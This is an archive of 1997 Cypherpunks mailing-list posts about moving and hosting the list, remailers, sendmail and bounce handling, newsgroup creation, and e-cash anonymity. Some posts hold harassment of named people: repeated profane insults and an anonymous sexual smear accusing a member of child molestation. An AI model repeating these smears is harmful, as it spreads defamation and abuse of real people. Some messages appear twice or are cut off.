einstein.ssz.com Wed Feb 12 12:57:52 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 12:57:52 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <199702122057.MAA04643@toad.com> Forwarded message: > Date: Wed, 12 Feb 1997 14:22 EDT > From: "E. Allen Smith" > Umm... because you'll eventually accumulate _lots_ of addresses > that don't work, which will slow things down tremendously in sending > mail out? The current subscription is between 1,000 and 2,000 I don't think that is _lots_. All we need to do is count the number of bounces per address in a given period, the SSZ end is trying to decide between weekly or monthly cleanings, and then clear that address. At no point would I need to archive the original bounce. > >I can verify this. If I was not already having to deal with these problem > >as a current mailing list operator I certainly would not take on the > >job. It is one of the reasons I STRONGLY suggest anyone serious about this > >should use the resources to make money as well. Anyone capable of setting up > >and operating such a remailer system is at least capable of basic skills. > > Well, loki at cyberpass.net has made the offer to host the entire > list... and Lance is certainly making money at it. While this would have > some problems in comparison with the distributed list idea (namely more of > a choke point), it would decidedly help. I certainly hope they get a cpunks address made available. I will certainly subscribe cpunks at ssz so that the distributed remailer will benefit from that input. However, one of the major realizations is that as long as one anything is involved in the list it is capable of being shutdown at any time with no warning. It also makes it much easier to compromise. I would like to see servers in several countries myself. > >Is anyone interested in acting as a mail-to-news gateway? Want to volunteer? Jim Choate CyberTects ravage at ssz.com From elam at art.net Wed Feb 12 12:58:25 1997 From: elam at art.net (Lile Elam) Date: Wed, 12 Feb 1997 12:58:25 -0800 (PST) Subject: House Science Subcommittee... Message-ID: <199702122058.MAA04651@toad.com> Hi folks, I am looking for more info on the ongoing House Science subcommittee which is about computer technology and national security. I heard they have folks talking about encryption and why it's important to use technology and not legislation to protect people's privacy... Theres a short article in the nando.net paper today about this committee at URL: http://www.nando.net/newsroom/ntn/info/021197/info5_430.html Dan Farmer talked yesterday... thanks, -lile From dlv at bwalk.dm.com Wed Feb 12 12:58:59 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 12 Feb 1997 12:58:59 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702122058.MAA04672@toad.com> "Timothy C. May" writes: > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote: > >If the people decide for creation of a new USENET newsgroup, > >we need to think very hard about actually moving it to a different > >hierarchy from alt.*. I would propose comp.org.cypherpunks, > >comp.cypherpunks, sci.crypt.cypherpunks or something like that. > > > >A comp.* or sci.* newsgroup, if created, has the following advantages > >over an alt.* newsgroup: > > > >1) There is usually less spam in sci.* or comp.* > >2) There are virtually no completely irrelevant flamewars > >3) The propagation will be a lot better > >4) More people will be able to read it because of the issue of providers > > not carrying alt.*. > > > >I see nothing that would make a sci.* or comp.* newsgroup worse than > >alt.* newsgroup. > > Sure, and this has come up in every past discussion of creating > "alt.cypherpunks." > > But the creation of alt.cypherpunks is _easy_, and needs little permission > or support, whereas the creation of "soc.culture.cypherpunks" or whatever > takes work, requires a vote, blah blah blah. And so it never gets off the > ground. > > (Nor is it clear to me, and perhaps not to others, that it belongs in the > the various places Igor mentioned. Comp.org.cypherpunks probably is the > best fit, but then many would cite the "comp" part to try to insist that > only _computer_ topics be discussed. Likewise, the "soc" domain would skew > discussion...etc. "Alt" has the nice advantage of explicitly not be part of > sci, or comp, or soc, or even talk.) > > Since posting my comments I've just seen the proposal that tivoli may host > a list. Fine with me. But I wonder how long Tivoli and its parent company, > IBM, will tolerate such things as postings of dumpster divings at Mykotronx > and RSADSI, of deliberate slams against Tivoli products (a la the case John > Gilmore referred to this morning), postings about assassination markets, > and so on. > > I still feel that the time has come to move virtual forums such as ours out > of U.S. jurisdictions. Given that most European nations are worse in some > ways (no Holocaust denial posts allowed in "cypherpunks at foobar.de"?), I > recommend the alt.cypherpunks as the best overall compromise. (I apologize to everyone whose e-mail has gone unanswered this week - I've had a bunch of other stuff to do, but I'll get to it eventually. Also, I posted the Anshel+Goldfield zeta function paten number - do check it out.) Random thoughts: 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of corprate news servers that don't carry alt.* (or even soc.*). Note that soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-) Another possibility is sci.crypto.cypherpunks. (True, people whose corporate newsservers don't carry soc.* and talk.* can use dejanews - provided their firewall lets them.) 2. It takes more work to create a comp.* newsgroup than an alt newsgroup. It takes a vote. I'm willing to be one of the proponents and generally help with the process. (Both I and Igor have been co-proponents of major Usenet newsgroups - don't know about other people onthis list. :-) 3. An unmoderated Usenet newsgroup would have even ore crap than this mailing list. I've been thinking of how to deal with crap, and with the obvious desire by some people to delegate their decision what to read and what not to read to other people. While cpunks at toad worked, one could subscribe to a filtered version offered by at least 2 people. There was no easy way to get those articles that either filterer considered worth reading: if you subscribed to both lists, you'd get most articles twice. Here's a proposal: anyone should be free to issue 'highlight' NoCeM's for the unmoderated cypherpunks newsgroups. Perhaps there will be a 'bot immediately highlighting submissions from well-known posters. Someone reading the newsgroup with a nocem-enabled newsreader (such as gnu) can choose to read only those articles that one of the filterers he trusts has already marked as worthy of his attention. (E.g. Sandy can issue NoCeMs to his heart's content.) However the filterer can't stop someone from not using NoCeMs and reading the entire newsgroup traffic without incurring moderation delays. Most people don't have nocem-enabled newareaders yet... Which is where the network of cypherpunks majordomos Igor's been busy creating comes in very handy. When one of the nodes in the distributed cpunks2news gateway gets a submission, it should xmit it to the other known gateways and post it to Usenet. Also it should grab postings from the Usenet newsgroup and forward them to its mailing list. However in addition to the unedited mailing list, some gateways can choose to offer a filtered list controlled by one or more nocem issuers: i.e. one might be able to subscribe to cypherpunked-filtered-by-either- ray-or-sandy and receive articles only when the gateway receives a nocem from one of the two listing their message-ids. (Better yet, one might specify in the subscription which filterers to use.) I don't think this is a very hard thing to hack up. Sorry for the typoes: now Imust run, but I'd beinterested in the feedback on these thoghts. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 12 12:59:01 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 12 Feb 1997 12:59:01 -0800 (PST) Subject: Cypherpunks Distributed Remailer Message-ID: <199702122059.MAA04673@toad.com> From: IN%"ravage at EINSTEIN.ssz.com" "Jim Choate" 12-FEB-1997 11:59:08.20 >> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST) >> From: ichudov at algebra.com >> Subject: Re: Moderation experiment almost over; "put up or shut up" >> John Gilmore wrote: >> > A pentium is definitely up to this task. I've been running it the >> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and >> > general computing). Give it a big /var/spool partition (mine is 60MB) >> > because every message will sit in the queue for days (*somebody* on >> > the list will have an unreachable name server or MX server until the >> > msg times out). Give it lots of RAM and paging space, since each >> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will >> > have dozens running at the same time. >My approach to this problem has been to use a 1G drive and mount the entire >file system on it. Swap and MS-Dos each get their own partitions. This >allows the use of the entire drive as a buffer. I am in the process of >adding another 1G in approx. two weeks with the intent of moving /home off >the main drive. This not only gives the system more space but the users as >well. I set swap to 4x main ram. I use Linux and have it as one giant >partition even though suggested is blocks of 16M, works for me (YMMV). Would >be minor to monitor df and alarm when it gets to 200M or something. >I must admit however that I am looking at a faster mbrd. and a bigger hard >drive in the immediate future to make up for the extra load I expect. Had >not really planned on the remailer project however... >> > You'll need a BIG mailbox for the bounce messages, and someone (or >> > some unwritten software) to scan it every day or two and delete the >> > lusers whose mailboxes are full or who dumped their account without >> > unsubscribing. The bounce mailbox on toad gets between 1 and 4MB of >> > email a day; more when the list is under attack. >How about dumping the bounces to /dev/null? I shure don't care if some >bozo's (other than mine that is) mailbox goes away. Umm... because you'll eventually accumulate _lots_ of addresses that don't work, which will slow things down tremendously in sending mail out? >> > The real issue is how willing you are to put your own time into >> > dealing with problems. Not only do things go wrong by themselves, but >> > there are malicious assholes in the world who will deliberately make >> > trouble for you just because they like to. Spending a day or two >> > cleaning up the mess is just part of the job. Check your level of >> > committment two or three times before taking on the task -- so you >> > won't end up getting disgusted after a month or two and putting the >> > list's existence into crisis again. It's not a "set it up and forget >> > it" kind of operation. >I can verify this. If I was not already having to deal with these problem >as a current mailing list operator I certainly would not take on the >job. It is one of the reasons I STRONGLY suggest anyone serious about this >should use the resources to make money as well. Anyone capable of setting up >and operating such a remailer system is at least capable of basic skills. Well, loki at cyberpass.net has made the offer to host the entire list... and Lance is certainly making money at it. While this would have some problems in comparison with the distributed list idea (namely more of a choke point), it would decidedly help. >> Another suggestion may be to set sendmail expire option to one day >> instead of five so that messages that cannot be delivered would bounce >> faster and not clog the queue. >I like this idea very much. Myself I would set it for like 4 hours or so and >if it couldn't be delivered then bye bye. Another motivation for selective >sites to operate as archives without themselves being remailers. >Another issue related to this is at what point to unsubscribe accounts. It >seems to me that if the address times out some number of times it should be >deleted. >Is anyone interested in acting as a mail-to-news gateway? From ichudov at algebra.com Wed Feb 12 12:59:49 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 12 Feb 1997 12:59:49 -0800 (PST) Subject: John Gilmore the fascist cocksucker In-Reply-To: <855771108.522743.0@fatmans.demon.co.uk> Message-ID: <199702122053.OAA07493@manifold.algebra.com> Why you are doing this, Paul? - Igor. paul at fatmans.demon.co.uk wrote: > > Priority: normal > X-mailer: Pegasus Mail for Windows (v2.31) > > John Gilmore is a fascist cocksucker > Sandy Sandfort is a censorous motherfucker > John Gilmore is a fascist cocksucker > Sandy Sandfort is a censorous motherfucker > John Gilmore is a fascist cocksucker > Sandy Sandfort is a censorous motherfucker > John Gilmore is a fascist cocksucker > Sandy Sandfort is a censorous motherfucker > > > Datacomms Technologies web authoring and data security > Paul Bradley, Paul at fatmans.demon.co.uk > Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org > Http://www.cryptography.home.ml.org/ > Email for PGP public key, ID: 5BBFAEB1 > "Don`t forget to mount a scratch monkey" > - Igor. From ichudov at algebra.com Wed Feb 12 13:03:45 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 12 Feb 1997 13:03:45 -0800 (PST) Subject: Need a good bi-directional mail-news gateway In-Reply-To: <199702122018.PAA17534@kryten.frb.gov> Message-ID: <199702122057.OAA07589@manifold.algebra.com> Jonathan M. Bresler wrote: > your expected mail volume is 100,000+ messages a day? > > i run lists that do 200,000+ routinely. > recent peak of 350,000 messages > > does that meet your needs? Yes. This is great. You can join a discussion of people who will help hosting the cypherpunks list at cypherpunks-hosts at algebra.com. Subscribe by asking majordomo at algebra.com - Igor. From dave at kachina.jetcafe.org Wed Feb 12 13:13:45 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Wed, 12 Feb 1997 13:13:45 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702122112.NAA22766@kachina.jetcafe.org> "Against Moderation" writes: > Your bigotry seriously undermines the effectiveness of any > anti-censorship arguments you make. Are you just trying to get > everyone to hate those who oppose censorship on cypherpunks. The relevance and applicability of an anti-censorship argument has nothing to do with the non-related personal positions of advocates or opponents of that argument. Arguments should not be won or lost by the reputation of the arguer or one risks one's own manipulation by irrelavent data. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet He who has made a door and a lock, has also made a key. From loki at infonex.com Wed Feb 12 13:14:37 1997 From: loki at infonex.com (Lance Cottrell) Date: Wed, 12 Feb 1997 13:14:37 -0800 (PST) Subject: Cypherpunks@Cyberpass.net New List Message-ID: -----BEGIN PGP SIGNED MESSAGE----- I am gratified to see that several people have stepped forward to offer their services to host this list. I have been contacted by various list members to host the list here at Infonex. I think there are several reasons I was approached to do this. As a long time remailer operator I am used to taking heat for the services I offer, and dealing with attacks on the services I run. As the owner and President of Infonex, the list is in no danger of being pulled by the administration of this site. As the author of Mixmaster I am reasonably well known (and I hope respected) member of the list. I have been completely uninvolved in the politics which have plagued the list of late. I personally favor the multi-node list model, where no one site can censor the list, the loss of any one node is not catastrophic, and the load on any one machine is not excessive. Unfortunately I don't think it will be up and functional in time for the transition. I have already set up the list on my majordomo server and subscribers are welcome now. The list address is cypherpunks at Cyberpass.net and the subscription address is majordomo at Cyberpass.net. The list on my server is subscribed to the unedited version of the current cypherpunks list. Once the multi-node list system is perfected I will integrate this list with the other nodes. Having dealt with the abuse heaped on remailer operators, I think I have an inkling of what John Gilmore has withstood for years. He has agreed to forward his list to mine (and possibly others) for a while after the 20th. It is my opinion that the primary Cypherpunks list should be completely uncensored and unfiltered. An ecology of filtered lists has developed in exactly the way many predicted they should. For the record I regularly read only a filtered version of the list, and subscribe to the full list only to be able to read referenced articles which were filtered. -Lance Cottrell -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMwIyFMogYxMMzklZAQFTzAf+Jya8WIdWpZhyialw6GtGbj3D4mQp0PRJ +J4cBn3qCXX4sLkPcO9Cn0+3Sea20yclvZh9KXXlVM8RxGwzOhVeDDzuQ8dX+LwG QQDdjYfzUAyoSk3OJjWj92DXEZmyEGerahYdoIB7HkIkFw+OY6lJ56cTYUZvKlHe XkJakJ7F5zKdZitvx3wl7Qj6j2lMUh3SegDKz4Ig+WoOe7odbN2F6FDbp1t8WlvI b5YjhwsaOXJ56/ZuWDUuK/yjgq7obPHCtdR3jANIq+Ch01HD+idsU/CH4GCwgiNU 7/GLO+FWlrjL3QIVrl13GiixJFu70Ng37KMAbkoaPqL1Cnip1A4g/g== =fcW6 -----END PGP SIGNATURE----- ---------------------------------------------------------- Lance Cottrell loki at obscura.com PGP 2.6 key available by finger or server. http://www.obscura.com/~loki/ "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche ---------------------------------------------------------- From aba at dcs.ex.ac.uk Wed Feb 12 13:15:12 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Wed, 12 Feb 1997 13:15:12 -0800 (PST) Subject: Network of majordomos In-Reply-To: <855766182.518362.0@fatmans.demon.co.uk> Message-ID: <199702122106.VAA02068@server.test.net> Paul Bradley writes: > > Greg Broiles wrote: > > > I sent a proposal to alt.config last night and intend to newgroup > > > alt.cypherpunks in a week or so > > > Greg. > > Don`t bother, I have already drawn up a draft charter and newsgrouped > it. Wouldn`t have bothered if I knew you were already on it but I > didn`t see your post in alt.config... > > Seeya there... What was your chater? Could you Cc a copy to the list? Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702122119.PAA08150@wire.insync.net> > Why you are doing this, Paul? > - Igor. Perhaps his account was hacked. Someone posted the account password in addition to all the John "Cocksucker" Gilmore messages. Unless, of course, Paul has suddenly decided to burn all his bridges. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From tien at well.com Wed Feb 12 13:17:03 1997 From: tien at well.com (Lee Tien) Date: Wed, 12 Feb 1997 13:17:03 -0800 (PST) Subject: anonymity and e-cash Message-ID: The NSA's research report on e-cash says: "The ideal situation (from the point of view of privacy advocates) is that neither payer nor payee should know the identity of the other. This makes remote transactions using electronic cash totally anonymous: no one knows where Alice spends her money and who pays her. "It turns out that this is too much to ask: there is no way in such a scenario for the consumer to obtain a signed receipt. Thus we are forced to settle for payer anonymity." Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't illuminate. The discussion of digital cash seemed to assume no payee anonymity. But the immediate previous section of dining cryptographers involved (it seemed) recipient untraceability. Is payee anonymity technically possible? Under what conditions? If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt? Thanks, Lee From dave at kachina.jetcafe.org Wed Feb 12 13:18:41 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Wed, 12 Feb 1997 13:18:41 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702122118.NAA22810@kachina.jetcafe.org> ISP_Ratings writes: > I hate censors Dr. Grubor. Dave says hate is a destructive > emotion but when properly channeled it can be quite valuable. I didn't exactly say that. Hate is merely an absence of harmony, and destruction is sometimes appropriate. What I did say was that the best way to strengthen an enemy is to hate them. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet The King decided to force his subjects to tell the truth. Nasrudin was first in line. They asked him, "Where are you going? Tell the truth or be hanged" "I am going," said Nasrudin, "to be hanged on that gallows." "I don't believe you." "Very well, if I have told a lie, then hang me!" "But that would make it the truth!" "Exactly," said Nasrudin, "your truth." From loki at infonex.com Wed Feb 12 13:19:36 1997 From: loki at infonex.com (Lance Cottrell) Date: Wed, 12 Feb 1997 13:19:36 -0800 (PST) Subject: New group In-Reply-To: <199702121600.IAA22395@toad.com> Message-ID: I have alt.cypherpunks on my server (all 1 message). I would be happy to feed that group (and alt.anonymous.messages) to any news server that asks. -Lance At 6:38 AM -0800 2/12/97, Dale Thorn wrote: >Paul Bradley wrote: >> Well despite the obvious problems of propogation I thought it was time >> someone actually did something to get us a new home, even if it`s only >> temporary. So I have created alt.cypherpunks... See you all over on >> usenet!... > >I pressed the URL alt.cypherpunks and my Netscape server said >"no such thing" or words to that effect. ---------------------------------------------------------- Lance Cottrell loki at obscura.com PGP 2.6 key available by finger or server. http://www.obscura.com/~loki/ "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche ---------------------------------------------------------- From tcmay at got.net Wed Feb 12 13:25:10 1997 From: tcmay at got.net (Tim May) Date: Wed, 12 Feb 1997 13:25:10 -0800 (PST) Subject: Is "alt.cypherpunks" the best choice? Message-ID: <199702122116.NAA07232@you.got.net> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks) At 2:49 PM -0600 2/12/97, Igor Chudov @ home wrote: >It is too late to stop alt.cypherpunks, but if I had to make a >prediction again, I would predict that soon posters will BEG to help >them create comp.*.cypherpunks, because of spam and alt.flamage. Perhaps some will, but I've been a reader of many alt groups for many years, and have not found them to be unusable. Alt.religion.scientology, for example, has been a robust forum for discussion (and argument, of course!) about Scientology. My fear about using a "well respected" name is that the usual calls for moderation may end up with it being moderated! And the well respected domains are often plagued with threats by various participants that _others_ are being "off topic," with threats to send letters to sysadmins advising them that one of their users is debating an off-topic subject. I have a fair amount of respect for Igor, so my comments here should not be taken the wrong way. To wit, I recall that shortly after the "moderation" thing began on Cypherpunks at toad.com, Igor called for Sandy to start blocking "libertarian rants" and "crypto anarchy" discussions, apparently feeling these are not proper Cypherpunks topics. It could be that a "sci.crypt.cypherpunks" group, for example, would result in pressures on sysadmins to discipline those who post "off topic" things. (Again, I'm not saying Igor himself would do this. But there would be a temptation for some to do so.) For me, I can easily scan even a high volume group like alt.religion.scientology for threads of interest (I use "NewsWatcher YA," a good Mac-based threaded newsreader, with even support for anonymous remailers built in). If I can read a.r.s., I can read a.cp without any trouble. It works for me. --Tim May -- Boycott "Big Brother Inside" software! We got computers, we're tapping phone lines, we know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Licensed Ontologist | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ravage at EINSTEIN.ssz.com Wed Feb 12 13:25:16 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 13:25:16 -0800 (PST) Subject: List for discussing many majordomos (fwd) Message-ID: <199702122125.NAA05544@toad.com> Forwarded message: > Date: Tue, 11 Feb 1997 22:46:03 -0800 > From: Greg Broiles > Subject: List for discussing many majordomos > Yes, this is a good idea. One of the proponents of the "many majordomos" > project apparently has plans to impose his own ideas about intellectual > property on the project, and this seems like a pretty serious thing for a > setup that's allegedly going to prevent censorship. We need a place to > discuss this. Please explain how making submissions de facto public domain censors anyone? Jim Choate CyberTects ravage at ssz.com From nobody at wazoo.com Wed Feb 12 13:35:55 1997 From: nobody at wazoo.com (Anonymous) Date: Wed, 12 Feb 1997 13:35:55 -0800 (PST) Subject: [STEGO] e$ Message-ID: <199702122135.OAA07459@earth.wazoo.com> Dr.Dumbbell L(agging) Viscera K(rud) Of The Moment was delivered by a vet, like the swine he is. v-v-v-@@-v-v-v (..) Dr.Dumbbell L(agging) Viscera K(rud) Of The Moment From nobody at huge.cajones.com Wed Feb 12 13:38:05 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 12 Feb 1997 13:38:05 -0800 (PST) Subject: Diffie Hellman signatures Message-ID: <199702122137.NAA02702@mailmasher.com> Dr.Dead Vomit the self-admitted child molester possesses a rudimentary dick less than one inch long, half the size of his mother's clitoris, that barely makes a fistful. Thereby hangs the root of this Jew-hating sissy's sick fixation on little boys and Usenet forgeries. _ /| `o_O' Dr.Dead Vomit ( ) U From ichudov at algebra.com Wed Feb 12 13:41:10 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Wed, 12 Feb 1997 13:41:10 -0800 (PST) Subject: Need a good bi-directional mail-news gateway Message-ID: <199702122141.NAA05967@toad.com> Jonathan M. Bresler wrote: > your expected mail volume is 100,000+ messages a day? > > i run lists that do 200,000+ routinely. > recent peak of 350,000 messages > > does that meet your needs? Yes. This is great. You can join a discussion of people who will help hosting the cypherpunks list at cypherpunks-hosts at algebra.com. Subscribe by asking majordomo at algebra.com - Igor. From aba at dcs.ex.ac.uk Wed Feb 12 13:41:15 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Wed, 12 Feb 1997 13:41:15 -0800 (PST) Subject: Network of majordomos Message-ID: <199702122141.NAA05972@toad.com> Paul Bradley writes: > > Greg Broiles wrote: > > > I sent a proposal to alt.config last night and intend to newgroup > > > alt.cypherpunks in a week or so > > > Greg. > > Don`t bother, I have already drawn up a draft charter and newsgrouped > it. Wouldn`t have bothered if I knew you were already on it but I > didn`t see your post in alt.config... > > Seeya there... What was your chater? Could you Cc a copy to the list? Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 "Against Moderation" writes: > Your bigotry seriously undermines the effectiveness of any > anti-censorship arguments you make. Are you just trying to get > everyone to hate those who oppose censorship on cypherpunks. The relevance and applicability of an anti-censorship argument has nothing to do with the non-related personal positions of advocates or opponents of that argument. Arguments should not be won or lost by the reputation of the arguer or one risks one's own manipulation by irrelavent data. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet He who has made a door and a lock, has also made a key. From tien at well.com Wed Feb 12 13:41:28 1997 From: tien at well.com (Lee Tien) Date: Wed, 12 Feb 1997 13:41:28 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702122141.NAA05987@toad.com> The NSA's research report on e-cash says: "The ideal situation (from the point of view of privacy advocates) is that neither payer nor payee should know the identity of the other. This makes remote transactions using electronic cash totally anonymous: no one knows where Alice spends her money and who pays her. "It turns out that this is too much to ask: there is no way in such a scenario for the consumer to obtain a signed receipt. Thus we are forced to settle for payer anonymity." Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't illuminate. The discussion of digital cash seemed to assume no payee anonymity. But the immediate previous section of dining cryptographers involved (it seemed) recipient untraceability. Is payee anonymity technically possible? Under what conditions? If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt? Thanks, Lee From dave at kachina.jetcafe.org Wed Feb 12 13:41:40 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Wed, 12 Feb 1997 13:41:40 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702122141.NAA05997@toad.com> ISP_Ratings writes: > I hate censors Dr. Grubor. Dave says hate is a destructive > emotion but when properly channeled it can be quite valuable. I didn't exactly say that. Hate is merely an absence of harmony, and destruction is sometimes appropriate. What I did say was that the best way to strengthen an enemy is to hate them. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet The King decided to force his subjects to tell the truth. Nasrudin was first in line. They asked him, "Where are you going? Tell the truth or be hanged" "I am going," said Nasrudin, "to be hanged on that gallows." "I don't believe you." "Very well, if I have told a lie, then hang me!" "But that would make it the truth!" "Exactly," said Nasrudin, "your truth." From loki at infonex.com Wed Feb 12 13:41:48 1997 From: loki at infonex.com (Lance Cottrell) Date: Wed, 12 Feb 1997 13:41:48 -0800 (PST) Subject: New group Message-ID: <199702122141.NAA06010@toad.com> I have alt.cypherpunks on my server (all 1 message). I would be happy to feed that group (and alt.anonymous.messages) to any news server that asks. -Lance At 6:38 AM -0800 2/12/97, Dale Thorn wrote: >Paul Bradley wrote: >> Well despite the obvious problems of propogation I thought it was time >> someone actually did something to get us a new home, even if it`s only >> temporary. So I have created alt.cypherpunks... See you all over on >> usenet!... > >I pressed the URL alt.cypherpunks and my Netscape server said >"no such thing" or words to that effect. ---------------------------------------------------------- Lance Cottrell loki at obscura.com PGP 2.6 key available by finger or server. http://www.obscura.com/~loki/ "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche ---------------------------------------------------------- From ichudov at algebra.com Wed Feb 12 13:42:08 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Wed, 12 Feb 1997 13:42:08 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702122142.NAA06036@toad.com> Dr.Dimitri Vulis KOTM wrote: > "Timothy C. May" writes: > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote: > > >If the people decide for creation of a new USENET newsgroup, > > >we need to think very hard about actually moving it to a different > > >hierarchy from alt.*. I would propose comp.org.cypherpunks, > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that. > > > > > >A comp.* or sci.* newsgroup, if created, has the following advantages > > >over an alt.* newsgroup: > > > > > >1) There is usually less spam in sci.* or comp.* > > >2) There are virtually no completely irrelevant flamewars > > >3) The propagation will be a lot better > > >4) More people will be able to read it because of the issue of providers > > > not carrying alt.*. > > > > > >I see nothing that would make a sci.* or comp.* newsgroup worse than > > >alt.* newsgroup. > > > > Sure, and this has come up in every past discussion of creating > > "alt.cypherpunks." > > > > But the creation of alt.cypherpunks is _easy_, and needs little permission > > or support, whereas the creation of "soc.culture.cypherpunks" or whatever > > takes work, requires a vote, blah blah blah. And so it never gets off the > > ground. > > > > (Nor is it clear to me, and perhaps not to others, that it belongs in the > > the various places Igor mentioned. Comp.org.cypherpunks probably is the > > best fit, but then many would cite the "comp" part to try to insist that > > only _computer_ topics be discussed. Likewise, the "soc" domain would skew > > discussion...etc. "Alt" has the nice advantage of explicitly not be part of > > sci, or comp, or soc, or even talk.) > > > (I apologize to everyone whose e-mail has gone unanswered this week - I've > had a bunch of other stuff to do, but I'll get to it eventually. Also, > I posted > the Anshel+Goldfield zeta function paten number - do check it out.) > > Random thoughts: > > 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of > corprate news servers that don't carry alt.* (or even soc.*). Note that > soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-) > Another possibility is sci.crypto.cypherpunks. (True, people whose corporate > newsservers don't carry soc.* and talk.* can use dejanews - provided their > firewall lets them.) > 2. It takes more work to create a comp.* newsgroup than an alt newsgroup. > It takes a vote. I'm willing to be one of the proponents and generally help > with the process. (Both I and Igor have been co-proponents of major Usenet > newsgroups - don't know about other people onthis list. :-) Not only it takes a vote. What is more important is what a vote gives: a good discussion of the newsgroup and the formal RFD/RFD/CFV process ensures that, on average, a good balance is found between various groups of readers. I am not concerned as to what the name of the group will be, it is not important. What is important is that it should be in a more or less flame-free zone. It is too late to stop alt.cypherpunks, but if I had to make a prediction again, I would predict that soon posters will BEG to help them create comp.*.cypherpunks, because of spam and alt.flamage. > 3. An unmoderated Usenet newsgroup would have even ore crap than this mailing > list. I've been thinking of how to deal with crap, and with the obvious desire > by some people to delegate their decision what to read and what not to read > to other people. It is alt.* and soc.* that has most crap, sci and comp are way better. > Most people don't have nocem-enabled newareaders yet... Which is where the > network of cypherpunks majordomos Igor's been busy creating comes in very > handy. > It is a very good idea to let NoCeM issuers and filterers work independently from list nodes. - Igor. From loki at infonex.com Wed Feb 12 13:42:12 1997 From: loki at infonex.com (Lance Cottrell) Date: Wed, 12 Feb 1997 13:42:12 -0800 (PST) Subject: Cypherpunks@Cyberpass.net New List Message-ID: <199702122142.NAA06038@toad.com> -----BEGIN PGP SIGNED MESSAGE----- I am gratified to see that several people have stepped forward to offer their services to host this list. I have been contacted by various list members to host the list here at Infonex. I think there are several reasons I was approached to do this. As a long time remailer operator I am used to taking heat for the services I offer, and dealing with attacks on the services I run. As the owner and President of Infonex, the list is in no danger of being pulled by the administration of this site. As the author of Mixmaster I am reasonably well known (and I hope respected) member of the list. I have been completely uninvolved in the politics which have plagued the list of late. I personally favor the multi-node list model, where no one site can censor the list, the loss of any one node is not catastrophic, and the load on any one machine is not excessive. Unfortunately I don't think it will be up and functional in time for the transition. I have already set up the list on my majordomo server and subscribers are welcome now. The list address is cypherpunks at Cyberpass.net and the subscription address is majordomo at Cyberpass.net. The list on my server is subscribed to the unedited version of the current cypherpunks list. Once the multi-node list system is perfected I will integrate this list with the other nodes. Having dealt with the abuse heaped on remailer operators, I think I have an inkling of what John Gilmore has withstood for years. He has agreed to forward his list to mine (and possibly others) for a while after the 20th. It is my opinion that the primary Cypherpunks list should be completely uncensored and unfiltered. An ecology of filtered lists has developed in exactly the way many predicted they should. 